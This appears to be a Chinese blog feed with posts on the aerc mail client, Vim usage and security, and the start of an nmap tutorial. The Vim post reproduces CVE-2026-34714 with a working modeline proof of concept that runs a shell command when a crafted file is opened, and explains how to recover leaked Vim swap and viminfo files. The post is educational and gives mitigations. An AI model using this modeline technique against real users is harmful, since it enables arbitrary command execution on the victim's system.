决定是否带上原附件。</p><h3 id="3-写一封新邮件并加附件"><a href="#3-写一封新邮件并加附件" class="headerlink" title="3. 写一封新邮件并加附件"></a>3. 写一封新邮件并加附件</h3><ol><li>在邮件列表或阅读界面按 <code>C</code>（或 <code>m</code>）打开撰写窗口</li><li>在 <code>To</code>、<code>Subject</code> 等字段填写，<code>Tab</code> 在字段间切换；配了通讯录时 <code>Ctrl+o</code> 触发补全</li><li>正文交给 vim 编辑，写完 <code>:wq</code> 退出，回到 review 界面</li><li>加附件：<code>:wq</code> 进入 review 界面后按 <code>a</code>（即 <code>:attach </code>），再输入文件路径（支持通配符，如 <code>~/下载/*.pdf</code>）；想用 fzf 选文件用 <code>:attach -m &lt;关键词&gt;</code></li><li>review 界面按 <code>y</code> 发送、<code>p</code> 暂存、<code>e</code> 重新编辑</li></ol><p><img src="/others/email/email.assets/image-20261006133951579.png" alt="image-20261006133951579" loading="lazy" decoding="async"></p><h3 id="4-处理收到的附件"><a href="#4-处理收到的附件" class="headerlink" title="4. 处理收到的附件"></a>4. 处理收到的附件</h3><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>o</code> / <code>O</code></td><td>用外部程序打开（PDF / 图片走 <code>xdg-open</code>）</td></tr><tr><td><code>S</code></td><td>保存附件到 <code>default-save-path</code>（默认 <code>~/下载/</code>）</td></tr><tr><td><code>|</code></td><td>把当前 MIME 部分管道给外部命令</td></tr></tbody></table><p>命令模式下对应 <code>:open</code>、<code>:save &lt;路径&gt;</code>。</p><p><img src="/others/email/email.assets/image-20261006142149699.png" alt="image-20261006142149699" loading="lazy" decoding="async"></p><p>直接打开和用imv打开均实现</p><h3 id="5-在邮件里查找"><a href="#5-在邮件里查找" class="headerlink" title="5. 在邮件里查找"></a>5. 在邮件里查找</h3><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>/</code></td><td>在当前文件夹搜索</td></tr><tr><td><code>\</code></td><td>过滤当前列表（边打边筛）</td></tr><tr><td><code>n</code> / <code>N</code></td><td>下一个 / 上一个结果</td></tr><tr><td><code>Esc</code></td><td>清除搜索 / 过滤</td></tr></tbody></table><p>跨文件夹的正文全文检索需要 notmuch 后端，属于进阶内容，之后单独写。</p><h3 id="6-归档、移动、新建文件夹"><a href="#6-归档、移动、新建文件夹" class="headerlink" title="6. 归档、移动、新建文件夹"></a>6. 归档、移动、新建文件夹</h3><ul><li><p>归档：<code>a</code></p></li><li><p>移动：<code>:mv &lt;文件夹&gt;</code>；复制：<code>:cp &lt;文件夹&gt;</code></p></li><li><p>新建文件夹：<code>:mkdir &lt;文件夹&gt;</code></p></li><li><p>跨账号搬家加 <code>-a</code>，例如把当前邮件移到 Gmail 的 Archive：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">:mv -a Gmail Archive</span><br></pre></td></tr></tbody></table></figure></li></ul><h3 id="7-写一半先存草稿"><a href="#7-写一半先存草稿" class="headerlink" title="7. 写一半先存草稿"></a>7. 写一半先存草稿</h3><p>撰写界面按 <code>p</code>（<code>:postpone</code>）暂存为草稿；之后进 <code>Drafts</code> 文件夹，按 <code>Enter</code> 会调用 <code>:recall</code> 恢复继续写。这是 <code>binds.conf</code> 里 <code>[messages:folder=Drafts]</code> 段专门为草稿文件夹配的默认绑定。</p><h3 id="8-退订邮件列表"><a href="#8-退订邮件列表" class="headerlink" title="8. 退订邮件列表"></a>8. 退订邮件列表</h3><p>打开一封带 <code>List-Unsubscribe</code> 头的列表邮件，执行：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">:unsubscribe</span><br></pre></td></tr></tbody></table></figure><p>aerc 会尝试识别并给出退订方式。</p><h3 id="9-打开邮件里的链接"><a href="#9-打开邮件里的链接" class="headerlink" title="9. 打开邮件里的链接"></a>9. 打开邮件里的链接</h3><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>Ctrl+l</code></td><td>用浏览器打开正文里的链接</td></tr><tr><td><code>Ctrl+y</code></td><td>复制链接到剪贴板</td></tr></tbody></table><p>依赖 <code>[viewer] parse-http-links = true</code>（默认开启）。</p><h3 id="10-标记重要邮件、改已读状态"><a href="#10-标记重要邮件、改已读状态" class="headerlink" title="10. 标记重要邮件、改已读状态"></a>10. 标记重要邮件、改已读状态</h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">:flag     加旗标（列表中显示 !）</span><br><span class="line">:unflag   去掉旗标</span><br><span class="line">:read     标记已读</span><br><span class="line">:unread   标记未读</span><br></pre></td></tr></tbody></table></figure><p>适合”看到了但暂时没空处理”的邮件，先标记着稍后再管。</p><h3 id="11-处理会议邀请"><a href="#11-处理会议邀请" class="headerlink" title="11. 处理会议邀请"></a>11. 处理会议邀请</h3><p>打开带 iCalendar 邀请的邮件后：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">:accept             接受</span><br><span class="line">:accept-tentative   暂定接受</span><br><span class="line">:decline            拒绝</span><br></pre></td></tr></tbody></table></figure><p>发送后邀请方会收到你的答复。</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/others/email/</id>
    <link href="https://blog.btop251.top/others/email/"/>
    <published>2026-10-06T00:00:00.000Z</published>
    <summary>aerc的相关内容</summary>
    <title>arch linux上的邮箱管理客户端</title>
    <updated>2026-10-06T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="others" scheme="https://blog.btop251.top/categories/others/"/>
    <category term="CTF" scheme="https://blog.btop251.top/tags/CTF/"/>
    <category term="tool" scheme="https://blog.btop251.top/tags/tool/"/>
    <content>
      <![CDATA[<html><head></head><body><blockquote><p>Vim 是 Linux 环境下最经典的编辑器之一。之前只知道一个<code>:wq</code>，趁现在总结一些常规的使用方法再外带一下安全方向的内容。</p></blockquote><h1 id="一、常规使用"><a href="#一、常规使用" class="headerlink" title="一、常规使用"></a>一、常规使用</h1><h2 id="1-体系模式"><a href="#1-体系模式" class="headerlink" title="1.体系模式"></a>1.体系模式</h2><p>Vim 的一切都围绕”模式”展开，理解模式是学会 Vim 的第一步：</p><table><thead><tr><th>模式</th><th>进入方式</th><th>用途</th></tr></thead><tbody><tr><td>Normal（普通）</td><td>启动默认 / <code>Esc</code></td><td>导航、删除、复制、粘贴</td></tr><tr><td>Insert（插入）</td><td><code>i</code> <code>a</code> <code>o</code> 等</td><td>输入文本</td></tr><tr><td>Visual（可视）</td><td><code>v</code> / <code>V</code> / <code>Ctrl+v</code></td><td>选中字符 / 行 / 块</td></tr><tr><td>Command（命令）</td><td><code>:</code></td><td>执行命令</td></tr><tr><td>Replace（替换）</td><td><code>R</code></td><td>覆盖式输入</td></tr></tbody></table><blockquote><p>核心原则：无论身处哪个模式，按 <code>Esc</code> 基本都能回到普通模式。普通模式是 Vim 的「家」，所有操作都从这里出发，也最终回到这里。</p></blockquote><h2 id="2-基础移动"><a href="#2-基础移动" class="headerlink" title="2. 基础移动"></a>2. 基础移动</h2><p>Vim 的移动不依赖鼠标和方向键，而是用主键盘区的字母完成。熟练之后，双手可以不离键盘完成绝大多数导航。</p><p><strong>字符与单词</strong></p><table><thead><tr><th align="left">按键</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>h</code> <code>j</code> <code>k</code> <code>l</code></td><td align="left">左、下、上、右</td></tr><tr><td align="left"><code>w</code> / <code>b</code> / <code>e</code></td><td align="left">下一个单词开头 / 上一个单词开头 / 当前或下一单词结尾</td></tr></tbody></table><p><strong>行内跳转</strong></p><table><thead><tr><th align="left">按键</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>0</code> / <code>^</code> / <code>$</code></td><td align="left">行首 / 首个非空字符 / 行尾</td></tr><tr><td align="left"><code>f{char}</code></td><td align="left">行内向后查找字符</td></tr><tr><td align="left"><code>t{char}</code></td><td align="left">跳到字符前</td></tr><tr><td align="left"><code>;</code> / <code>,</code></td><td align="left">重复 / 反向重复上次 <code>f</code> <code>t</code> 查找</td></tr></tbody></table><p><strong>文件与翻页</strong></p><table><thead><tr><th align="left">按键</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>gg</code> / <code>G</code> / <code>5G</code></td><td align="left">文件头 / 文件尾 / 跳到第 5 行</td></tr><tr><td align="left"><code>Ctrl+d</code> / <code>Ctrl+u</code></td><td align="left">向下 / 向上翻半页</td></tr></tbody></table><h2 id="3-核心编辑操作"><a href="#3-核心编辑操作" class="headerlink" title="3.核心编辑操作"></a>3.核心编辑操作</h2><h3 id="编辑核心操作"><a href="#编辑核心操作" class="headerlink" title="编辑核心操作"></a>编辑核心操作</h3><p>Vim 的编辑命令大多遵循「操作符 + 动作」的组合逻辑，例如 <code>d</code> 是删除，<code>w</code> 是一个单词，合起来 <code>dw</code> 就是删除一个单词。掌握这个思路后，你不需要死记大量孤立命令，而是用少量操作符和动作自由组合。</p><table><thead><tr><th align="left">按键</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>x</code></td><td align="left">删除光标处字符</td></tr><tr><td align="left"><code>dd</code> / <code>dw</code></td><td align="left">删除一行 / 删除一个单词</td></tr><tr><td align="left"><code>yy</code> / <code>p</code> / <code>P</code></td><td align="left">复制一行 / 向下粘贴 / 向上粘贴</td></tr><tr><td align="left"><code>u</code> / <code>Ctrl+r</code></td><td align="left">撤销 / 重做</td></tr><tr><td align="left"><code>.</code></td><td align="left">重复上一次修改（Vim 效率精髓之一）</td></tr><tr><td align="left"><code>o</code> / <code>O</code></td><td align="left">下方 / 上方新开一行并进入插入模式</td></tr></tbody></table><h2 id="4-查找与替换"><a href="#4-查找与替换" class="headerlink" title="4.查找与替换"></a>4.查找与替换</h2><table><thead><tr><th align="left">命令</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>/{pattern}</code> / <code>?{pattern}</code></td><td align="left">向下 / 向上查找</td></tr><tr><td align="left"><code>n</code> / <code>N</code></td><td align="left">下一个 / 上一个匹配</td></tr><tr><td align="left"><code>:%s/{old}/{new}/g</code></td><td align="left">全局替换</td></tr><tr><td align="left"><code>:%s/{old}/{new}/gc</code></td><td align="left">全局替换，逐个确认</td></tr></tbody></table><h2 id="5-文件与窗口"><a href="#5-文件与窗口" class="headerlink" title="5. 文件与窗口"></a>5. 文件与窗口</h2><table><thead><tr><th align="left">命令</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>:w</code> / <code>:q</code> / <code>:wq</code> / <code>:q!</code></td><td align="left">保存 / 退出 / 保存退出 / 强制退出</td></tr><tr><td align="left"><code>:e file</code></td><td align="left">打开另一个文件</td></tr><tr><td align="left"><code>:split</code> / <code>:vsplit</code></td><td align="left">水平 / 垂直分屏</td></tr><tr><td align="left"><code>Ctrl+w h/j/k/l</code></td><td align="left">在窗口间移动</td></tr><tr><td align="left"><code>:tabnew</code> / <code>gt</code> / <code>gT</code></td><td align="left">新建 / 下一个 / 上一个标签页</td></tr></tbody></table><h1 id="二、进阶用法"><a href="#二、进阶用法" class="headerlink" title="二、进阶用法"></a>二、进阶用法</h1><h2 id="1-块编辑"><a href="#1-块编辑" class="headerlink" title="1.块编辑"></a>1.块编辑</h2><p>块编辑是 Vim 最具代表性的功能之一，也是它区别于大多数编辑器的杀手级特性。普通可视模式（<code>v</code>）按字符或行选中，而块可视模式（<code>Ctrl+v</code>）选中的是一个<strong>矩形区域</strong>——可以同时操作多行的同一列位置。</p><p><code>Ctrl+v</code> 进入块可视模式，选中的是一个矩形区域，而不是连续文本。这是 Vim 的杀手级功能之一。</p><ol><li><code>Ctrl+v</code> 选中多行的同一列区域</li><li><code>I</code> 在行首插入，<code>A</code> 在行尾追加</li><li>输入内容后按 <code>Esc</code>，所有选中行同时生效</li></ol><p>适合批量加注释、对齐赋值语句、给多行末尾加逗号。</p><h3 id="2-宏：让-Vim-替你重复劳动"><a href="#2-宏：让-Vim-替你重复劳动" class="headerlink" title="2. 宏：让 Vim 替你重复劳动"></a>2. 宏：让 Vim 替你重复劳动</h3><p>宏适合处理「对大量行做同样格式修改」这类任务，往往比正则更直观可靠。</p><table><thead><tr><th align="left">命令</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>qa</code></td><td align="left">开始录制到寄存器 a</td></tr><tr><td align="left"><code>q</code></td><td align="left">结束录制</td></tr><tr><td align="left"><code>@a</code> / <code>10@a</code></td><td align="left">回放 / 重复回放 10 次</td></tr></tbody></table><h2 id="3-寄存器：Vim中的剪切板"><a href="#3-寄存器：Vim中的剪切板" class="headerlink" title="3.寄存器：Vim中的剪切板"></a>3.寄存器：Vim中的剪切板</h2><p>先记住一个符号：<code>"</code>（双引号）。在 Vim 里，<code>"</code> 后面跟一个字符，就表示「我要用哪个寄存器」。</p><blockquote><p>关于寄存器</p><p>它内置了多个「抽屉」，每次复制或删除，内容会放进不同的抽屉里。你可以指定从哪个抽屉取东西。</p></blockquote><table><thead><tr><th align="left">寄存器</th><th align="left">怎么用</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>""</code></td><td align="left">默认，不用特意写</td><td align="left">最近一次删除或复制的内容</td></tr><tr><td align="left"><code>"0</code></td><td align="left"><code>"0p</code></td><td align="left">最近一次<strong>复制</strong>的内容（删除不会覆盖它）</td></tr><tr><td align="left"><code>"_</code></td><td align="left"><code>"_dd</code></td><td align="left">黑洞，删除的东西直接扔掉，不影响其他寄存器</td></tr><tr><td align="left"><code>"+</code></td><td align="left"><code>"+y</code> / <code>"+p</code></td><td align="left">系统剪贴板，能和浏览器、其他程序互通</td></tr><tr><td align="left"><code>"a</code> 到 <code>"z</code></td><td align="left"><code>"ayy</code> / <code>"ap</code></td><td align="left">你自己命名的抽屉，共 26 个</td></tr></tbody></table><p>默认寄存器 <code>""</code> 会被删除覆盖，<code>"0</code> 只存复制内容，<code>"_</code> 是垃圾桶，<code>"+</code> 通系统剪贴板，<code>"a</code>-<code>"z</code> 是自己命名的抽屉。</p><h2 id="4-标记与历史跳转：Vim中的书签和浏览记录"><a href="#4-标记与历史跳转：Vim中的书签和浏览记录" class="headerlink" title="4.标记与历史跳转：Vim中的书签和浏览记录"></a>4.标记与历史跳转：Vim中的书签和浏览记录</h2><p>给某个位置起个名字（一个字母），之后随时能跳回来。</p><table><thead><tr><th align="left">命令</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>ma</code></td><td align="left">在当前位置打一个标记，名字叫 a</td></tr><tr><td align="left">``a`</td><td align="left">跳回标记 a 的位置</td></tr><tr><td align="left"><code>'a</code></td><td align="left">跳到标记 a 所在行的行首</td></tr></tbody></table><p>除了自己打的标记，Vim 还自动维护两个很有用的标记：</p><table><thead><tr><th align="left">命令</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>``</code></td><td align="left">跳回<strong>上次跳转前</strong>的位置</td></tr><tr><td align="left">``.`</td><td align="left">跳回<strong>上次修改</strong>的位置</td></tr></tbody></table><h2 id="5-好用的配置设置"><a href="#5-好用的配置设置" class="headerlink" title="5.好用的配置设置"></a>5.好用的配置设置</h2><p>Vim的配置文件为<code>~/.vimrc</code> </p><figure class="highlight vim"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">set</span> <span class="keyword">number</span>//显示行号</span><br><span class="line"><span class="keyword">set</span> hlsearch//高亮所有匹配项</span><br><span class="line"><span class="keyword">set</span> incsearch//增量搜索（一边输入一遍跳转高亮）</span><br><span class="line"><span class="keyword">set</span> ignorecase//忽略大小写</span><br><span class="line"><span class="keyword">set</span> smartcase//智能大小写（与上一条整合就是小写时大小写均匹配，大写时严格展示大写）</span><br><span class="line"></span><br><span class="line"><span class="keyword">set</span> expandtab//用空格来展示<span class="keyword">tab</span></span><br><span class="line"><span class="keyword">set</span> tabstop=<span class="number">4</span>//设置空格数量为<span class="number">4</span></span><br><span class="line"><span class="keyword">set</span> <span class="built_in">shiftwidth</span>=<span class="number">4</span>//每次缩进用<span class="number">4</span>个空格</span><br><span class="line"><span class="keyword">set</span> autoindent//自动继承缩进</span><br><span class="line"></span><br><span class="line"><span class="keyword">inoremap</span> jk <span class="symbol">&lt;Esc&gt;</span> //自定义快捷键，在插入模式用jk来表示Esc退出</span><br></pre></td></tr></tbody></table></figure><h1 id="三、Vim相关漏洞"><a href="#三、Vim相关漏洞" class="headerlink" title="三、Vim相关漏洞"></a>三、Vim相关漏洞</h1><h2 id="VIM泄露"><a href="#VIM泄露" class="headerlink" title="VIM泄露"></a>VIM泄露</h2><p>在渗透测试和 CTF 中，Vim 相关的「泄漏」指的是 Vim 在使用过程中留下的持久化文件，可能直接暴露源码、历史操作甚至敏感信息。</p><h3 id="1-swap-文件泄漏（最常见）"><a href="#1-swap-文件泄漏（最常见）" class="headerlink" title="1. swap 文件泄漏（最常见）"></a>1. swap 文件泄漏（最常见）</h3><p>Vim 编辑文件时默认生成隐藏的交换文件：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">.filename.swp     第一次编辑</span><br><span class="line">.filename.swo     第二次</span><br></pre></td></tr></tbody></table></figure><p>当 Vim <strong>异常退出</strong>（SSH 断开、进程被 kill、服务器宕机）时，swp 不会自动删除。如果站点目录下用 vim 编辑过代码，且服务器允许访问隐藏文件，就可能被直接下载：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://target/.index.php.swp</span><br></pre></td></tr></tbody></table></figure><p>恢复方法：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">vim -r index.php              <span class="comment"># 在对应目录下恢复</span></span><br><span class="line">vim -r .index.php.swp         <span class="comment"># 直接从 swp 恢复</span></span><br><span class="line">strings .index.php.swp        <span class="comment"># 快速查看内容</span></span><br></pre></td></tr></tbody></table></figure><p>代码审计题中，swp 恢复出的往往是「真正的」过滤逻辑源码，据此寻找绕过点。</p><h3 id="2-viminfo-泄漏"><a href="#2-viminfo-泄漏" class="headerlink" title="2. viminfo 泄漏"></a>2. viminfo 泄漏</h3><p><code>~/.viminfo</code> 会记录：</p><ul><li>命令行历史（<code>:</code> 命令）</li><li>搜索历史（可能包含敏感字符串）</li><li>寄存器内容（可能包含复制过的密码、token）</li><li>最近编辑的文件路径</li></ul><p>拿到低权限 shell 后：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /home/&lt;user&gt;/.viminfo</span><br></pre></td></tr></tbody></table></figure><h3 id="3-backup-与-undofile-泄漏"><a href="#3-backup-与-undofile-泄漏" class="headerlink" title="3. backup 与 undofile 泄漏"></a>3. backup 与 undofile 泄漏</h3><p>需要有前置的配置</p><figure class="highlight vim"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">set</span> backup          <span class="comment">" 产生 filename~</span></span><br><span class="line"><span class="keyword">set</span> patchmode=.orig <span class="comment">" 保留首次编辑前的 .orig 副本</span></span><br><span class="line"><span class="keyword">set</span> <span class="built_in">undofile</span>        <span class="comment">" 撤销历史持久化为 .filename.un~</span></span><br></pre></td></tr></tbody></table></figure><p>这些文件留在 Web 目录中同样会被直接访问：</p><ul><li><code>filename~</code> / <code>filename.orig</code>：暴露旧版本源码（可能是修复前的漏洞版本）</li><li><code>.filename.un~</code>：可恢复出已删除或已修改的内容</li></ul><h3 id="4-防御建议"><a href="#4-防御建议" class="headerlink" title="4.防御建议"></a>4.防御建议</h3><ul><li>生产环境不要直接在 Web 目录下用 vim 编辑文件</li><li>关闭或转移持久化文件：</li></ul><figure class="highlight vim"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">set</span> nobackup</span><br><span class="line"><span class="keyword">set</span> noswapfile</span><br><span class="line"><span class="keyword">set</span> directory^=/tmp</span><br></pre></td></tr></tbody></table></figure><ul><li>服务器侧禁止访问隐藏文件，以 nginx 为例：</li></ul><figure class="highlight nginx"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">location</span> <span class="regexp">~ /\.</span> {</span><br><span class="line">    <span class="attribute">deny</span> all;</span><br><span class="line">    <span class="attribute">access_log</span> <span class="literal">off</span>;</span><br><span class="line">    <span class="attribute">log_not_found</span> <span class="literal">off</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><ul><li>定期清理站点目录下的 <code>*~</code>、<code>*.swp</code>、<code>*.un~</code> 等残留文件</li></ul><h2 id="VIM任意命令执行漏洞"><a href="#VIM任意命令执行漏洞" class="headerlink" title="VIM任意命令执行漏洞"></a>VIM任意命令执行漏洞</h2><p>CVE-2026-34714 是一个影响 Vim <strong>9.1.1391 至 9.2.0271</strong> 的本地命令执行漏洞，CVSS 评分 <strong>9.2</strong>。攻击者构造一个包含恶意 modeline 的普通文本文件，受害者用受影响版本的 Vim 打开后，攻击者便可在受害者权限下执行任意系统命令，<strong>无需任何额外交互</strong>。</p><p>该漏洞源于<code>tabpanel</code>组件在处理表达式时未正确设置<code>P_MLE</code>标志，导致<code>%{expr}</code>注入。攻击者可诱导用户打开特制文件，在无需用户交互的情况下，利用该漏洞在受害者系统上执行任意代码，获取系统控制权。</p><blockquote><p>该漏洞的根本原因是Vim在渲染标签页（tabpanel）界面时，对动态表达式的处理存在逻辑错误。在Vim脚本中，<code>%{expr}</code>语法用于计算表达式的值并将其插入到界面元素（如标签页标题或状态栏）中。然而，在受影响的版本中，<code>tabpanel</code>相关的代码路径缺少<code>P_MLE</code>（多行表达式或安全上下文标志）的检查机制。这使得解析器在处理特定输入时，未能区分普通文本和可执行代码。当攻击者构造包含恶意<code>%{...}</code>序列的文件时，Vim在打开文件并渲染界面的过程中，会自动解析并执行大括号内的Vimscript代码。由于攻击向量为本地且无需交互，一旦文件被打开（例如通过文件关联或直接打开），代码即在前台运行，导致高权限的代码执行。</p></blockquote><h3 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h3><h4 id="搭建环境"><a href="#搭建环境" class="headerlink" title="搭建环境"></a>搭建环境</h4><p>安装编译 Vim 所需的基础工具和库：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install -y git build-essential libncurses-dev libsodium-dev \</span><br><span class="line">  libacl1-dev libattr1-dev libgpm-dev</span><br></pre></td></tr></tbody></table></figure><p>获取受危害的vim版本文件</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/vim/vim.git</span><br><span class="line"><span class="built_in">cd</span> vim</span><br><span class="line">git checkout v9.2.0271</span><br></pre></td></tr></tbody></table></figure><p>开启<code>+tabpanel</code>特性</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./configure --with-features=huge --enable-gui=no --enable-multibyte</span><br></pre></td></tr></tbody></table></figure><p>编译与检查</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">make -j$(<span class="built_in">nproc</span>)</span><br><span class="line">./src/vim --version | <span class="built_in">head</span> -3</span><br><span class="line">./src/vim --version | grep tabpanel</span><br></pre></td></tr></tbody></table></figure><p><code>.src/vim</code>就是受漏洞危害的vim版本执行文件</p><h4 id="构造poc"><a href="#构造poc" class="headerlink" title="构造poc"></a>构造poc</h4><blockquote><p>漏洞的利用链包含两个独立缺陷的串联：</p><ol><li><strong>入口缺陷</strong>：<code>tabpanel</code> 选项缺少 <code>P_MLE</code> 标志，使其可以从 modeline 中注入 <code>%{expr}</code> 表达式，<strong>无需启用 <code>modelineexpr</code></strong></li><li><strong>出口缺陷</strong>：<code>autocmd_add()</code> 函数缺少 <code>check_secure()</code> 检查，允许在沙箱中注册自动命令，该命令在沙箱退出后执行</li></ol><p>因此，PoC 不能直接调用 <code>system()</code>，因为沙箱会拦截它。正确做法是：在 modeline 中通过 <code>tabpanel</code> 表达式调用 <code>autocmd_add()</code> 注册一个 <code>SafeStateAgain</code> 自动命令，待沙箱退出后触发命令执行。</p></blockquote><p><strong>创建一个恶意文件<code>/tmp/poc.md</code></strong></p><figure class="highlight md"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/* vim: set showtabpanel=2 tabpanel=%{%autocmd<span class="emphasis">_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!id&gt;/tmp/cve_</span>poc<span class="emphasis">_result','once'\:1}])%}:</span></span><br></pre></td></tr></tbody></table></figure><p><strong>用危险版本vim打开这个文件</strong></p><p>由于源码目录下的 Vim 尚未安装，运行时需要显式指定 <code>VIMRUNTIME</code> 路径，否则会因找不到运行时文件而进入兼容模式，影响 modeline 处理：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> ~/vim</span><br><span class="line">VIMRUNTIME=$(<span class="built_in">pwd</span>)/runtime ./src/vim /tmp/poc.md</span><br></pre></td></tr></tbody></table></figure><p>打开后，Vim 会处理 modeline，<code>tabpanel</code> 表达式在沙箱中执行 <code>autocmd_add()</code>，注册 <code>SafeStateAgain</code> 自动命令。退出 Vim（<code>:q</code>）后，该自动命令触发，执行 <code>id</code> 命令并将输出写入 <code>/tmp/cve_poc_result</code>。</p><p><strong>验证结果</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /tmp/cve_poc_result</span><br></pre></td></tr></tbody></table></figure><h4 id="修复与缓解"><a href="#修复与缓解" class="headerlink" title="修复与缓解"></a>修复与缓解</h4><p>官方在 <strong>v9.2.0272</strong> 中通过两处修改修复了此漏洞：给 <code>tabpanel</code> 加上 <code>P_MLE</code> 标志堵住入口，给 <code>autocmd_add()</code> 加上 <code>check_secure()</code> 堵住出口。</p><p>对于无法立即升级的环境，可采取临时缓解措施：</p><ul><li>在 <code>~/.vimrc</code> 中设置 <code>set nomodeline</code> 完全禁用 modeline</li><li>或设置 <code>set modelineexpr=0</code> 禁用表达式求值</li></ul><p>需要注意的是，<strong>以 root 权限运行 Vim 默认不受影响</strong>，因为 root 需要显式配置 <code>set modeline</code> 才会启用该功能。</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/others/about_vim/</id>
    <link href="https://blog.btop251.top/others/about_vim/"/>
    <published>2026-09-21T00:00:00.000Z</published>
    <summary>用了那么久还没有系统学过如何使用</summary>
    <title>vim的使用技巧以及安全问题</title>
    <updated>2026-09-22T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="CTF" scheme="https://blog.btop251.top/categories/CTF/"/>
    <category term="CTF" scheme="https://blog.btop251.top/tags/CTF/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="nmap"><a href="#nmap" class="headerlink" title="nmap"></a>nmap</h1><h2 id="1-安装与基本语法"><a href="#1-安装与基本语法" class="headerlink" title="1. 安装与基本语法"></a>1. 安装与基本语法</h2><p>Nmap（Network Mapper）是一款用于网络发现与安全审计的命令行工具。它可以判断主机是否在线、哪些端口可访问、端口后面运行的服务和版本，以及部分操作系统特征。本文以 Linux/macOS 命令行为例，Windows 用户可将 nmap 替换为安装目录中的 </p><p>基本语法：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap [扫描选项] [端口选项] [探测选项] [输出选项] &lt;目标&gt;</span><br></pre></td></tr></tbody></table></figure><p>目标可以是单个 IP、主机名、CIDR 网段、IP 范围，或一个目标文件：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">nmap 192.0.2.10</span><br><span class="line">nmap scan.example.com</span><br><span class="line">nmap 192.0.2.0/24</span><br><span class="line">nmap 192.0.2.10-20</span><br><span class="line">nmap -iL targets.txt</span><br></pre></td></tr></tbody></table></figure><h2 id="2-先判断主机是否在线"><a href="#2-先判断主机是否在线" class="headerlink" title="2. 先判断主机是否在线"></a>2. 先判断主机是否在线</h2><h3 id="Ping-扫描（主机发现）"><a href="#Ping-扫描（主机发现）" class="headerlink" 